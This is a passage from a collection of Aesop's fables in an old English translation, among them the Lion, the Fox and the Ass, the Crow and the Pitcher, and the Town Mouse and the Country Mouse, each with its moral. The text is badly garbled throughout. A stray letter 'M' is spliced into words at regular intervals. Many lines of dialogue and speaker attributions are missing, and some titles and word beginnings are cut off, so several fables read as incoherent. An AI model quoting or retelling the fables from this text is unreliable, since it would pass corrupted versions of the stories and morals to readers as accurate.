gave more light than the sun. Then a sudden puff of wind arose, and the
Lamp was immediately extinguished. Its owner lit it again, and said:
Boast no more, but henceforth be content to give thy light in silence.
Know that not even the stars need to be relit.
The Lion, the Fox, and the Ass
THE LION, the Fox and the Ass entered into an agreement to assist each
other in the chase. Having secured a laM
rge booty, the Lion on their
return from the forest asked the Ass to allot his due portion to each
of the three partners in the treaty. The Ass carefully divided the spoil
into three equal shares and modestly requested the two others to make
the first choice. The Lion, bursting out into a great rage, devoured the
Ass. Then he requested the Fox to do him the favor to make a division.
The Fox accumulated all that they had killed into one large heap and
left to himself the smallest possible morsel. The Lion saiM
taught you, my very excellent fellow, the art of division? You are
perfect to a fraction.
I learned it from the Ass, by
witnessing his fate.
Happy is the man who learns from the misfortunes of others.
The Bull, the Lioness, and the Wild-Boar Hunter
A BULL finding a lion
s cub asleep gored him to death with his horns.
The Lioness came up, and bitterly lamented the death of her whelp. A
wild-boar Hunter, seeing her distress, stood at a distance and said to
Think how many men there are who have reason to lament the loss of
their children, whose deaths have been caused by you.
The Oak and the Woodcutters
THE WOODCUTTER cut down a Mountain Oak and split it in pieces, making
wedges of its own branches for dividing the trunk. The Oak said with a
I do not care about the blows of the axe aimed at my roots, but
I do grieve at being torn in pieces by these wedges made from my own
Misfortunes springing from ourselves are the haM
The Hen and the Golden Eggs
A COTTAGER and his wife had a Hen that laid a golden egg every day. They
supposed that the Hen must contain a great lump of gold in its inside,
and in order to get the gold they killed it. Having done so, they found
to their surprise that the Hen differed in no respect from their other
hens. The foolish pair, thus hoping to become rich all at once, deprived
themselves of the gain of which they were assured day by day.
The Ass and the Frogs
SS, carrying a load of wood, passed through a pond. As he was
crossing through the water he lost his footing, stumbled and fell, and
not being able to rise on account of his load, groaned heavily. Some
Frogs frequenting the pool heard his lamentation, and said,
you do if you had to live here always as we do, when you make such a
fuss about a mere fall into the water?
Men often bear little grievances with less courage than they do large
The Crow and the Raven
A CROW was jealous of the Raven, because he was considered a bird of
good omen and always attracted the attention of men, who noted by his
flight the good or evil course of future events. Seeing some travelers
approaching, the Crow flew up into a tree, and perching herself on one
of the branches, cawed as loudly as she could. The travelers turned
towards the sound and wondered what it foreboded, when one of them said
Let us proceed on our journey, my friend, for it is
only the caw of a cM
row, and her cry, you know, is no omen.
Those who assume a character which does not belong to them, only make
themselves ridiculous.
The Trees and the Axe
A MAN came into a forest and asked the Trees to provide him a handle
for his axe. The Trees consented to his request and gave him a young
ash-tree. No sooner had the man fitted a new handle to his axe from it,
than he began to use it and quickly felled with his strokes the
noblest giants of the forest. An old oak, lamenting when too late thM
destruction of his companions, said to a neighboring cedar,
step has lost us all. If we had not given up the rights of the ash, we
might yet have retained our own privileges and have stood for ages.
The Crab and the Fox
A CRAB, forsaking the seashore, chose a neighboring green meadow as its
feeding ground. A Fox came across him, and being very hungry ate him
up. Just as he was on the point of being eaten, the Crab said,
deserve my fate, for what business had I on the laM
nd, when by my nature
and habits I am only adapted for the sea?
Contentment with our lot is an element of happiness.
The Woman and Her Hen
A WOMAN possessed a Hen that gave her an egg every day. She often
pondered how she might obtain two eggs daily instead of one, and at
last, to gain her purpose, determined to give the Hen a double allowance
of barley. From that day the Hen became fat and sleek, and never once
The Ass and the Old Shepherd
A SHEPHERD, watching hM
is Ass feeding in a meadow, was alarmed all of
a sudden by the cries of the enemy. He appealed to the Ass to fly with
him, lest they should both be captured, but the animal lazily replied,
Why should I, pray? Do you think it likely the conqueror will place on
me two sets of panniers?
 rejoined the Shepherd.
as long as I carry the panniers, what matters it to me whom I
In a change of government the poor change nothing beyond the name of
The Kites and the Swans
TEE KITES of olden times, as well as the Swans, had the privilege of
song. But having heard the neigh of the horse, they were so enchanted
with the sound, that they tried to imitate it; and, in trying to neigh,
they forgot how to sing.
The desire for imaginary benefits often involves the loss of present
The Wolves and the Sheepdogs
THE WOLVES thus addressed the Sheepdogs:
Why should you, who are like
us in so many things, not be entirely of one minM
d with us, and live with
us as brothers should? We differ from you in one point only. We live in
freedom, but you bow down to and slave for men, who in return for your
services flog you with whips and put collars on your necks. They make
you also guard their sheep, and while they eat the mutton throw only
the bones to you. If you will be persuaded by us, you will give us the
sheep, and we will enjoy them in common, till we all are surfeited.
Dogs listened favorably to these proposals, and, entering thM
Wolves, they were set upon and torn to pieces.
The Hares and the Foxes
THE HARES waged war with the Eagles, and called upon the Foxes to help
them. They replied,
We would willingly have helped you, if we had not
known who you were, and with whom you were fighting.
Count the cost before you commit yourselves.
A VERY SKILLFUL BOWMAN went to the mountains in search of game, but all
the beasts of the forest fled at his approach. The Lion alone challeM
him to combat. The Bowman immediately shot out an arrow and said to the
I send thee my messenger, that from him thou mayest learn what
I myself shall be when I assail thee.
 The wounded Lion rushed away in
great fear, and when a Fox who had seen it all happen told him to be of
good courage and not to back off at the first attack he replied:
counsel me in vain; for if he sends so fearful a messenger, how shall I
abide the attack of the man himself?
Be on guard against men who can M
strike from a distance.
WHEN MAN first saw the Camel, he was so frightened at his vast size that
he ran away. After a time, perceiving the meekness and gentleness of
s temper, he summoned courage enough to approach him. Soon
afterwards, observing that he was an animal altogether deficient in
spirit, he assumed such boldness as to put a bridle in his mouth, and to
let a child drive him.
Use serves to overcome dread.
The Wasp and the Snake
A WASP seated himself upM
on the head of a Snake and, striking him
unceasingly with his stings, wounded him to death. The Snake, being in
great torment and not knowing how to rid himself of his enemy, saw a
wagon heavily laden with wood, and went and purposely placed his
head under the wheels, saying,
At least my enemy and I shall perish
The Dog and the Hare
A HOUND having started a Hare on the hillside pursued her for some
distance, at one time biting her with his teeth as if he would take her
t another fawning upon her, as if in play with another dog.
The Hare said to him,
I wish you would act sincerely by me, and show
yourself in your true colors. If you are a friend, why do you bite me so
hard? If an enemy, why do you fawn on me?
No one can be a friend if you know not whether to trust or distrust him.
The Bull and the Calf
A BULL was striving with all his might to squeeze himself through a
narrow passage which led to his stall. A young Calf came up, and offered
nd show him the way by which he could manage to pass.
Save yourself the trouble,
I knew that way long before
The Stag, the Wolf, and the Sheep
A STAG asked a Sheep to lend him a measure of wheat, and said that the
Wolf would be his surety. The Sheep, fearing some fraud was intended,
excused herself, saying,
The Wolf is accustomed to seize what he wants
and to run off; and you, too, can quickly outstrip me in your rapid
flight. How then shall I be able tM
o find you, when the day of payment
Two blacks do not make one white.
The Peacock and the Crane
A PEACOCK spreading its gorgeous tail mocked a Crane that passed by,
ridiculing the ashen hue of its plumage and saying,
a king, in gold and purple and all the colors of the rainbow; while you
have not a bit of color on your wings.
 replied the Crane;
I soar to the heights of heaven and lift up my voice to the stars, while
you walk below, like a cockM
, among the birds of the dunghill.
The Fox and the Hedgehog
A FOX swimming across a rapid river was carried by the force of the
current into a very deep ravine, where he lay for a long time very much
bruised, sick, and unable to move. A swarm of hungry blood-sucking flies
settled upon him. A Hedgehog, passing by, saw his anguish and inquired
if he should drive away the flies that were tormenting him.
do you not want to be rid of them?
for these flies which you see are full of blood, and sting me but
little, and if you rid me of these which are already satiated, others
more hungry will come in their place, and will drink up all the blood I
The Eagle, the Cat, and the Wild Sow
AN EAGLE made her nest at the top of a lofty oak; a Cat, having found
a convenient hole, moved into the middle of the trM
unk; and a Wild Sow,
with her young, took shelter in a hollow at its foot. The Cat cunningly
resolved to destroy this chance-made colony. To carry out her design,
she climbed to the nest of the Eagle, and said,
preparing for you, and for me too, unfortunately. The Wild Sow, whom you
see daily digging up the earth, wishes to uproot the oak, so she may
on its fall seize our families as food for her young.
frightened the Eagle out of her senses, she crept down to the cave of
Your children are in great danger; for as soon
as you go out with your litter to find food, the Eagle is prepared to
pounce upon one of your little pigs.
 Having instilled these fears into
the Sow, she went and pretended to hide herself in the hollow of the
tree. When night came she went forth with silent foot and obtained
food for herself and her kittens, but feigning to be afraid, she kept a
lookout all through the day. Meanwhile, the Eagle, full of fear of the
Sow, sat still on the bM
ranches, and the Sow, terrified by the Eagle, did
not dare to go out from her cave. And thus they both, along with their
families, perished from hunger, and afforded ample provision for the Cat
The Thief and the Innkeeper
A THIEF hired a room in a tavern and stayed a while in the hope of
stealing something which should enable him to pay his reckoning. When he
had waited some days in vain, he saw the Innkeeper dressed in a new and
handsome coat and sitting before his door. The ThieM
f sat down beside him
and talked with him. As the conversation began to flag, the Thief yawned
terribly and at the same time howled like a wolf. The Innkeeper said,
Why do you howl so fearfully?
first let me ask you to hold my clothes, or I shall tear them to pieces.
I know not, sir, when I got this habit of yawning, nor whether these
attacks of howling were inflicted on me as a judgment for my crimes, or
for any other cause; but this I do know, that when IM
time, I actually turn into a wolf and attack men.
 With this speech he
commenced a second fit of yawning and again howled like a wolf, as he
had at first. The Innkeeper, hearing his tale and believing what he
said, became greatly alarmed and, rising from his seat, attempted to run
away. The Thief laid hold of his coat and entreated him to stop, saying,
Pray wait, sir, and hold my clothes, or I shall tear them to pieces
in my fury, when I turn into a wolf.
 At the same moment he yawM
third time and set up a terrible howl. The Innkeeper, frightened lest
he should be attacked, left his new coat in the Thief
fast as he could into the inn for safety. The Thief made off with the
coat and did not return again to the inn.
Every tale is not to be believed.
A MULE, frolicsome from lack of work and from too much corn, galloped
about in a very extravagant manner, and said to himself:
surely was a high-mettled racer, and I am his own chM
 On the next day, being driven a long journey, and feeling
very wearied, he exclaimed in a disconsolate tone:
mistake; my father, after all, could have been only an ass.
The Hart and the Vine
A HART, hard pressed in the chase, hid himself beneath the large leaves
of a Vine. The huntsmen, in their haste, overshot the place of his
concealment. Supposing all danger to have passed, the Hart began to
nibble the tendrils of the Vine. One of the huntsmeM
rustling of the leaves, looked back, and seeing the Hart, shot an arrow
from his bow and struck it. The Hart, at the point of death, groaned:
am rightly served, for I should not have maltreated the Vine that saved
The Serpent and the Eagle
A SERPENT and an Eagle were struggling with each other in deadly
conflict. The Serpent had the advantage, and was about to strangle the
bird. A countryman saw them, and running up, loosed the coil of the
Serpent and let the EagleM
 go free. The Serpent, irritated at the
escape of his prey, injected his poison into the drinking horn of the
countryman. The rustic, ignorant of his danger, was about to drink, when
the Eagle struck his hand with his wing, and, seizing the drinking horn
in his talons, carried it aloft.
The Crow and the Pitcher
A CROW perishing with thirst saw a pitcher, and hoping to find water,
flew to it with delight. When he reached it, he discovered to his grief
that it contained so little water that he couldM
 not possibly get at it.
He tried everything he could think of to reach the water, but all his
efforts were in vain. At last he collected as many stones as he could
carry and dropped them one by one with his beak into the pitcher, until
he brought the water within his reach and thus saved his life.
Necessity is the mother of invention.
TWO FROGS were neighbors. One inhabited a deep pond, far removed from
public view; the other lived in a gully containing little water, and
d by a country road. The Frog that lived in the pond warned his
friend to change his residence and entreated him to come and live with
him, saying that he would enjoy greater safety from danger and more
abundant food. The other refused, saying that he felt it so very hard to
leave a place to which he had become accustomed. A few days afterwards a
heavy wagon passed through the gully and crushed him to death under its
A willful man will have his way to his own hurt.
The Wolf and the Fox
AT ONE TIME a very large and strong Wolf was born among the wolves, who
exceeded all his fellow-wolves in strength, size, and swiftness, so that
they unanimously decided to call him
 The Wolf, with a lack of
sense proportioned to his enormous size, thought that they gave him this
name in earnest, and, leaving his own race, consorted exclusively with
the lions. An old sly Fox, seeing this, said,
May I never make myself
so ridiculous as you do in your pride and self-conceit; for even though
ave the size of a lion among wolves, in a herd of lions you are
A WALNUT TREE standing by the roadside bore an abundant crop of fruit.
For the sake of the nuts, the passers-by broke its branches with stones
and sticks. The Walnut-Tree piteously exclaimed,
those whom I cheer with my fruit should repay me with these painful
The Gnat and the Lion
A GNAT came and said to a Lion,
I do not in the least fear you, norM
you stronger than I am. For in what does your strength consist? You
can scratch with your claws and bite with your teeth an a woman in her
quarrels. I repeat that I am altogether more powerful than you; and if
you doubt it, let us fight and see who will conquer.
sounded his horn, fastened himself upon the Lion and stung him on the
nostrils and the parts of the face devoid of hair. While trying to crush
him, the Lion tore himself with his claws, until he punished himself
e Gnat thus prevailed over the Lion, and, buzzing about in
a song of triumph, flew away. But shortly afterwards he became entangled
in the meshes of a cobweb and was eaten by a spider. He greatly lamented
Woe is me! that I, who can wage war successfully
with the hugest beasts, should perish myself from this spider, the most
inconsiderable of insects!
The Monkey and the Dolphin
A SAILOR, bound on a long voyage, took with him a Monkey to amuse him
while on shipboard. As he saM
iled off the coast of Greece, a violent
tempest arose in which the ship was wrecked and he, his Monkey, and all
the crew were obliged to swim for their lives. A Dolphin saw the Monkey
contending with the waves, and supposing him to be a man (whom he is
always said to befriend), came and placed himself under him, to convey
him on his back in safety to the shore. When the Dolphin arrived with
his burden in sight of land not far from Athens, he asked the Monkey
if he were an Athenian. The latter replied that heM
 was, and that he was
descended from one of the most noble families in that city. The Dolphin
then inquired if he knew the Piraeus (the famous harbor of Athens).
Supposing that a man was meant, the Monkey answered that he knew him
very well and that he was an intimate friend. The Dolphin, indignant at
these falsehoods, dipped the Monkey under the water and drowned him.
The Jackdaw and the Doves
A JACKDAW, seeing some Doves in a cote abundantly provided with food,
painted himself white and joined tM
hem in order to share their plentiful
maintenance. The Doves, as long as he was silent, supposed him to be one
of themselves and admitted him to their cote. But when one day he forgot
himself and began to chatter, they discovered his true character and
drove him forth, pecking him with their beaks. Failing to obtain food
among the Doves, he returned to the Jackdaws. They too, not recognizing
him on account of his color, expelled him from living with them. So
desiring two ends, he obtained neither.
he Horse and the Stag
AT ONE TIME the Horse had the plain entirely to himself. Then a Stag
intruded into his domain and shared his pasture. The Horse, desiring to
revenge himself on the stranger, asked a man if he were willing to
help him in punishing the Stag. The man replied that if the Horse would
receive a bit in his mouth and agree to carry him, he would contrive
effective weapons against the Stag. The Horse consented and allowed
the man to mount him. From that hour he found that instead of obtaining
revenge on the Stag, he had enslaved himself to the service of man.
The Kid and the Wolf
A KID, returning without protection from the pasture, was pursued by a
Wolf. Seeing he could not escape, he turned round, and said:
friend Wolf, that I must be your prey, but before I die I would ask of
you one favor you will play me a tune to which I may dance.
complied, and while he was piping and the Kid was dancing, some hounds
hearing the sound ran up and began chasing the Wolf. TurM
It is just what I deserve; for I, who am only a butcher,
should not have turned piper to please you.
A WIZARD, sitting in the marketplace, was telling the fortunes of the
passers-by when a person ran up in great haste, and announced to him
that the doors of his house had been broken open and that all his goods
were being stolen. He sighed heavily and hastened away as fast as he
could run. A neighbor saw him running and said,
Oh! you fellow there!
 say you can foretell the fortunes of others; how is it you did not
The Fox and the Monkey
A FOX and a Monkey were traveling together on the same road. As they
journeyed, they passed through a cemetery full of monuments.
monuments which you see,
are erected in honor of my
ancestors, who were in their day freedmen and citizens of great renown.
You have chosen a most appropriate subject for
your falsehoods, as I am sureM
 none of your ancestors will be able to
A false tale often betrays itself.
The Thief and the Housedog
A THIEF came in the night to break into a house. He brought with him
several slices of meat in order to pacify the Housedog, so that he would
not alarm his master by barking. As the Thief threw him the pieces of
meat, the Dog said,
If you think to stop my mouth, you will be greatly
mistaken. This sudden kindness at your hands will only make me more
watchful, lest under theM
se unexpected favors to myself, you have some
private ends to accomplish for your own benefit, and for my master
The Man, the Horse, the Ox, and the Dog
A HORSE, Ox, and Dog, driven to great straits by the cold, sought
shelter and protection from Man. He received them kindly, lighted a
fire, and warmed them. He let the Horse make free with his oats, gave
the Ox an abundance of hay, and fed the Dog with meat from his own
table. Grateful for these favors, the animals determined to repM
to the best of their ability. For this purpose, they divided the term
of his life between them, and each endowed one portion of it with the
qualities which chiefly characterized himself. The Horse chose his
earliest years and gave them his own attributes: hence every man is in
his youth impetuous, headstrong, and obstinate in maintaining his own
opinion. The Ox took under his patronage the next term of life, and
therefore man in his middle age is fond of work, devoted to labor, and
wealth and to husband his resources. The end of life
was reserved for the Dog, wherefore the old man is often snappish,
irritable, hard to please, and selfish, tolerant only of his own
household, but averse to strangers and to all who do not administer to
his comfort or to his necessities.
The Apes and the Two Travelers
TWO MEN, one who always spoke the truth and the other who told nothing
but lies, were traveling together and by chance came to the land of
Apes. One of the Apes, who had raised himM
self to be king, commanded them
to be seized and brought before him, that he might know what was said of
him among men. He ordered at the same time that all the Apes be arranged
in a long row on his right hand and on his left, and that a throne be
placed for him, as was the custom among men. After these preparations
he signified that the two men should be brought before him, and greeted
them with this salutation:
What sort of a king do I seem to you to be,
 The Lying Traveler replied,
u seem to me a most mighty
And what is your estimate of those you see around me?
are worthy companions of yourself, fit at least to be
ambassadors and leaders of armies.
 The Ape and all his court, gratified
with the lie, commanded that a handsome present be given to the
flatterer. On this the truthful Traveler thought to himself,
great a reward be given for a lie, with what gift may not I be rewarded,
if, according to my custom, I tell the truth?
 The Ape quickly turned
And pray how do I and these my friends around me seem to you?
a most excellent Ape, and all these thy companions
after thy example are excellent Apes too.
 The King of the Apes, enraged
at hearing these truths, gave him over to the teeth and claws of his
The Wolf and the Shepherd
A WOLF followed a flock of sheep for a long time and did not attempt
to injure one of them. The Shepherd at first stood on his guard againstM
him, as against an enemy, and kept a strict watch over his movements.
But when the Wolf, day after day, kept in the company of the sheep and
did not make the slightest effort to seize them, the Shepherd began to
look upon him as a guardian of his flock rather than as a plotter of
evil against it; and when occasion called him one day into the city,
he left the sheep entirely in his charge. The Wolf, now that he had the
opportunity, fell upon the sheep, and destroyed the greater part of
the flock. When the SM
hepherd returned to find his flock destroyed, he
I have been rightly served; why did I trust my sheep to a
The Hares and the Lions
THE HARES harangued the assembly, and argued that all should be equal.
The Lions made this reply:
Your words, O Hares! are good; but they lack
both claws and teeth such as we have.
The Lark and Her Young Ones
A LARK had made her nest in the early spring on the young green wheat.
The brood had almost grown to their full strength aM
of their wings and the full plumage of their feathers, when the owner of
the field, looking over his ripe crop, said,
The time has come when I
must ask all my neighbors to help me with my harvest.
Larks heard his speech and related it to his mother, inquiring of her
to what place they should move for safety.
There is no occasion to move
the man who only sends to his friends to
help him with his harvest is not really in earnest.
field came again a few days later and saw the wheat shedding the grain
from excess of ripeness. He said,
I will come myself tomorrow with my
laborers, and with as many reapers as I can hire, and will get in the
 The Lark on hearing these words said to her brood,
now to be off, my little ones, for the man is in earnest this time; he
no longer trusts his friends, but will reap the field himself.
Self-help is the best help.
The Fox and the Lion
A FOX who had never yet seen a Lion, fell in with him by chance for
the first time in the forest, he was so frightened that he nearly
died with fear. On meeting him for the second time, he was still much
alarmed, but not to the same extent as at first. On seeing him the third
time, he so increased in boldness that he went up to him and commenced a
familiar conversation with him.
Acquaintance softens prejudices.
The Weasel and the Mice
A WEASEL, inactive from age and infirmities, was not able to M
as he once did. He therefore rolled himself in flour and lay down in a
dark corner. A Mouse, supposing him to be food, leaped upon him, and was
instantly caught and squeezed to death. Another perished in a similar
manner, and then a third, and still others after them. A very old Mouse,
who had escaped many a trap and snare, observed from a safe distance
the trick of his crafty foe and said,
Ah! you that lie there, may you
prosper just in the same proportion as you are what you pretend to be!
A BOY bathing in a river was in danger of being drowned. He called out
to a passing traveler for help, but instead of holding out a helping
hand, the man stood by unconcernedly, and scolded the boy for his
pray help me now and scold me
Counsel without help is useless.
The Ass and the Wolf
AN ASS feeding in a meadow saw a Wolf approaching to seize him, and
immediately pretended to be lame. The Wolf, coming M
cause of his lameness. The Ass replied that passing through a hedge he
had trod with his foot upon a sharp thorn. He requested that the Wolf
pull it out, lest when he ate him it should injure his throat. The Wolf
consented and lifted up the foot, and was giving his whole mind to the
discovery of the thorn, when the Ass, with his heels, kicked his teeth
into his mouth and galloped away. The Wolf, being thus fearfully mauled,
I am rightly served, for why did I attempt the art of healiM
when my father only taught me the trade of a butcher?
The Seller of Images
A CERTAIN MAN made a wooden image of Mercury and offered it for sale.
When no one appeared willing to buy it, in order to attract purchasers,
he cried out that he had the statue to sell of a benefactor who bestowed
wealth and helped to heap up riches. One of the bystanders said to him,
My good fellow, why do you sell him, being such a one as you describe,
when you may yourself enjoy the good things he has to give?M
I am in need of immediate help, and he is wont to give his
good gifts very slowly.
The Fox and the Grapes
A FAMISHED FOX saw some clusters of ripe black grapes hanging from
a trellised vine. She resorted to all her tricks to get at them, but
wearied herself in vain, for she could not reach them. At last she
turned away, hiding her disappointment and saying:
The Grapes are sour,
and not ripe as I thought.
The Man and His Wife
A MAN had a Wife who mM
ade herself hated by all the members of his
household. Wishing to find out if she had the same effect on the persons
s house, he made some excuse to send her home on a visit
to her father. After a short time she returned, and when he inquired how
she had got on and how the servants had treated her, she replied,
herdsmen and shepherds cast on me looks of aversion.
if you were disliked by those who go out early in the morning with their
flocks and return late in thM
e evening, what must have been felt towards
you by those with whom you passed the whole day!
Straws show how the wind blows.
The Peacock and Juno
THE PEACOCK made complaint to Juno that, while the nightingale pleased
every ear with his song, he himself no sooner opened his mouth than he
became a laughingstock to all who heard him. The Goddess, to console
But you far excel in beauty and in size. The splendor of the
emerald shines in your neck and you unfold a tail gorgeous with pM
But for what purpose have I,
beauty so long as I am surpassed in song?
has been assigned by the will of the Fates--to thee, beauty; to
the eagle, strength; to the nightingale, song; to the raven, favorable,
and to the crow, unfavorable auguries. These are all contented with the
endowments allotted to them.
The Hawk and the Nightingale
A NIGHTINGALE, sitting aloft upon an oak and singing according to M
wont, was seen by a Hawk who, being in need of food, swooped down and
seized him. The Nightingale, about to lose his life, earnestly begged
the Hawk to let him go, saying that he was not big enough to satisfy
the hunger of a Hawk who, if he wanted food, ought to pursue the larger
birds. The Hawk, interrupting him, said:
I should indeed have lost
my senses if I should let go food ready in my hand, for the sake of
pursuing birds which are not yet even within sight.
The Dog, the Cock, and theM
A DOG and a Cock being great friends, agreed to travel together. At
nightfall they took shelter in a thick wood. The Cock flying up, perched
himself on the branches of a tree, while the Dog found a bed beneath in
the hollow trunk. When the morning dawned, the Cock, as usual, crowed
very loudly several times. A Fox heard the sound, and wishing to make
a breakfast on him, came and stood under the branches, saying how
earnestly he desired to make the acquaintance of the owner of so
magnificent a voice. M
The Cock, suspecting his civilities, said:
wish you would do me the favor of going around to the hollow trunk below
me, and waking my porter, so that he may open the door and let you in.
 When the Fox approached the tree, the Dog sprang out and caught him, and
The Wolf and the Goat
A WOLF saw a Goat feeding at the summit of a steep precipice, where he
had no chance of reaching her. He called to her and earnestly begged her
to come lower down, lest she fall by some M
mishap; and he added that the
meadows lay where he was standing, and that the herbage was most tender.
No, my friend, it is not for the pasture that you invite
me, but for yourself, who are in want of food.
The Lion and the Bull
A LION, greatly desiring to capture a Bull, and yet afraid to attack
him on account of his great size, resorted to a trick to ensure his
destruction. He approached the Bull and said,
sheep, my friend; and if you will come home and M
partake of him with me,
I shall be delighted to have your company.
 The Lion said this in the
hope that, as the Bull was in the act of reclining to eat, he might
attack him to advantage, and make his meal on him. The Bull, on
approaching the Lion
s den, saw the huge spits and giant caldrons, and
no sign whatever of the sheep, and, without saying a word, quietly took
his departure. The Lion inquired why he went off so abruptly without
a word of salutation to his host, who had not given him any cause for
I have reasons enough,
whatever of your having slaughtered a sheep, while I do see very plainly
every preparation for your dining on a bull.
The Goat and the Ass
A MAN once kept a Goat and an Ass. The Goat, envying the Ass on account
of his greater abundance of food, said,
How shamefully you are
treated: at one time grinding in the mill, and at another carrying heavy
 and he further advised him to pretend to be epileptic and
all into a ditch and so obtain rest. The Ass listened to his words, and
falling into a ditch, was very much bruised. His master, sending for a
leech, asked his advice. He bade him pour upon the wounds the lungs of a
Goat. They at once killed the Goat, and so healed the Ass.
The Town Mouse and the Country Mouse
A COUNTRY MOUSE invited a Town Mouse, an intimate friend, to pay him
a visit and partake of his country fare. As they were on the bare
plowlands, eating there wheat-stocks and roots pulled upM
hedgerow, the Town Mouse said to his friend,
You live here the life of
the ants, while in my house is the horn of plenty. I am surrounded by
every luxury, and if you will come with me, as I wish you would, you
shall have an ample share of my dainties.
 The Country Mouse was easily
persuaded, and returned to town with his friend. On his arrival, the
Town Mouse placed before him bread, barley, beans, dried figs, honey,
raisins, and, last of all, brought a dainty piece of cheese from a
he Country Mouse, being much delighted at the sight of such
good cheer, expressed his satisfaction in warm terms and lamented his
own hard fate. Just as they were beginning to eat, someone opened the
door, and they both ran off squeaking, as fast as they could, to a hole
so narrow that two could only find room in it by squeezing. They had
scarcely begun their repast again when someone else entered to take
something out of a cupboard, whereupon the two Mice, more frightened
than before, ran away and hid themsM
elves. At last the Country Mouse,
almost famished, said to his friend:
Although you have prepared for
me so dainty a feast, I must leave you to enjoy it by yourself. It is
surrounded by too many dangers to please me. I prefer my bare plowlands
and roots from the hedgerow, where I can live in safety, and without
The Wolf, the Fox, and the Ape
A WOLF accused a Fox of theft, but the Fox entirely denied the charge.
An Ape undertook to adjudge the matter between them. When each had fully
tated his case the Ape announced this sentence:
Wolf, ever lost what you claim; and I do believe you, Fox, to have
stolen what you so stoutly deny.
The dishonest, if they act honestly, get no credit.
The Fly and the Draught-Mule
A FLY sat on the axle-tree of a chariot, and addressing the Draught-Mule
How slow you are! Why do you not go faster? See if I do not prick
your neck with my sting.
 The Draught-Mule replied,
threats; I only care M
for him who sits above you, and who quickens my
pace with his whip, or holds me back with the reins. Away, therefore,
with your insolence, for I know well when to go fast, and when to go
SOME FISHERMEN were out trawling their nets. Perceiving them to be very
heavy, they danced about for joy and supposed that they had taken a
large catch. When they had dragged the nets to the shore they found but
few fish: the nets were full of sand and stones, and the men were beyond
e cast down so much at the disappointment which had befallen them,
but because they had formed such very different expectations. One of
their company, an old man, said,
Let us cease lamenting, my mates, for,
as it seems to me, sorrow is always the twin sister of joy; and it was
only to be looked for that we, who just now were over-rejoiced, should
next have something to make us sad.
The Lion and the Three Bulls
THREE BULLS for a long time pastured together. A Lion lay in ambush in
f making them his prey, but was afraid to attack them while
they kept together. Having at last by guileful speeches succeeded in
separating them, he attacked them without fear as they fed alone, and
feasted on them one by one at his own leisure.
The Fowler and the Viper
A FOWLER, taking his bird-lime and his twigs, went out to catch birds.
Seeing a thrush sitting upon a tree, he wished to take it, and fitting
his twigs to a proper length, watched intently, having his whole
oughts directed towards the sky. While thus looking upwards, he
unknowingly trod upon a Viper asleep just before his feet. The Viper,
turning about, stung him, and falling into a swoon, the man said to
Woe is me! that while I purposed to hunt another, I am myself
fallen unawares into the snares of death.
The Horse and the Ass
A HORSE, proud of his fine trappings, met an Ass on the highway. The
Ass, being heavily laden, moved slowly out of the way.
n I resist kicking you with my heels.
peace, and made only a silent appeal to the justice of the gods. Not
long afterwards the Horse, having become broken-winded, was sent by his
owner to the farm. The Ass, seeing him drawing a dungcart, thus derided
Where, O boaster, are now all thy gay trappings, thou who are
thyself reduced to the condition you so lately treated with contempt?
The Fox and the Mask
A FOX entered the house of an actor and, rummaging through all his
properties, came upon a Mask, an admirable imitation of a human head. He
placed his paws on it and said,
What a beautiful head! Yet it is of no
value, as it entirely lacks brains.
The Geese and the Cranes
THE GEESE and the Cranes were feeding in the same meadow, when a
birdcatcher came to ensnare them in his nets. The Cranes, being light of
wing, fled away at his approach; while the Geese, being slower of flight
and heavier in their bodies, were captured.
The Blind Man and the Whelp
A BLIND MAN was accustomed to distinguishing different animals by
touching them with his hands. The whelp of a Wolf was brought him, with
a request that he would feel it, and say what it was. He felt it, and
being in doubt, said:
I do not quite know whether it is the cub of a
Fox, or the whelp of a Wolf, but this I know full well. It would not be
safe to admit him to the sheepfold.
Evil tendencies are shown in early life.
The Dogs and the Fox
SOME DOGS, finding the skin of a lion, beganM
 to tear it in pieces with
their teeth. A Fox, seeing them, said,
If this lion were alive, you
would soon find out that his claws were stronger than your teeth.
It is easy to kick a man that is down.
The Cobbler Turned Doctor
A COBBLER unable to make a living by his trade and made desperate by
poverty, began to practice medicine in a town in which he was not known.
He sold a drug, pretending that it was an antidote to all poisons,
and obtained a great name for himself by long-winded puffs M
advertisements. When the Cobbler happened to fall sick himself of a
serious illness, the Governor of the town determined to test his skill.
For this purpose he called for a cup, and while filling it with water,
pretended to mix poison with the Cobbler
s antidote, commanding him
to drink it on the promise of a reward. The Cobbler, under the fear of
death, confessed that he had no knowledge of medicine, and was only made
famous by the stupid clamors of the crowd. The Governor then called a
ly and addressed the citizens:
Of what folly have you been
guilty? You have not hesitated to entrust your heads to a man, whom no
one could employ to make even the shoes for their feet.
The Wolf and the Horse
A WOLF coming out of a field of oats met a Horse and thus addressed
I would advise you to go into that field. It is full of fine oats,
which I have left untouched for you, as you are a friend whom I would
love to hear enjoying good eating.
 The Horse replied,
the food of wolves, you would never have indulged your ears at the cost
Men of evil reputation, when they perform a good deed, fail to get
The Brother and the Sister
A FATHER had one son and one daughter, the former remarkable for his
good looks, the latter for her extraordinary ugliness. While they were
playing one day as children, they happened by chance to look together
into a mirror that was placed on their mother
congratulated himself M
on his good looks; the girl grew angry, and could
not bear the self-praises of her Brother, interpreting all he said (and
how could she do otherwise?) into reflection on herself. She ran off to
her father, to be avenged on her Brother, and spitefully accused him
of having, as a boy, made use of that which belonged only to girls.
The father embraced them both, and bestowing his kisses and affection
impartially on each, said,
I wish you both would look into the mirror
every day: you, my son, that you may noM
t spoil your beauty by evil
conduct; and you, my daughter, that you may make up for your lack of
beauty by your virtues.
The Wasps, the Partridges, and the Farmer
THE WASPS and the Partridges, overcome with thirst, came to a Farmer and
besought him to give them some water to drink. They promised amply to
repay him the favor which they asked. The Partridges declared that they
would dig around his vines and make them produce finer grapes. The Wasps
said that they would keep guard and drive off thM
ieves with their stings.
But the Farmer interrupted them, saying:
I have already two oxen, who,
without making any promises, do all these things. It is surely better
for me to give the water to them than to you.
The Crow and Mercury
A CROW caught in a snare prayed to Apollo to release him, making a vow
to offer some frankincense at his shrine. But when rescued from his
danger, he forgot his promise. Shortly afterwards, again caught in
a snare, he passed by Apollo and made the same promise toM
frankincense to Mercury. Mercury soon appeared and said to him,
most base fellow? how can I believe thee, who hast disowned and wronged
The North Wind and the Sun
THE NORTH WIND and the Sun disputed as to which was the most powerful,
and agreed that he should be declared the victor who could first strip
a wayfaring man of his clothes. The North Wind first tried his power
and blew with all his might, but the keener his blasts, the closer the
his cloak around him, until at last, resigning all hope
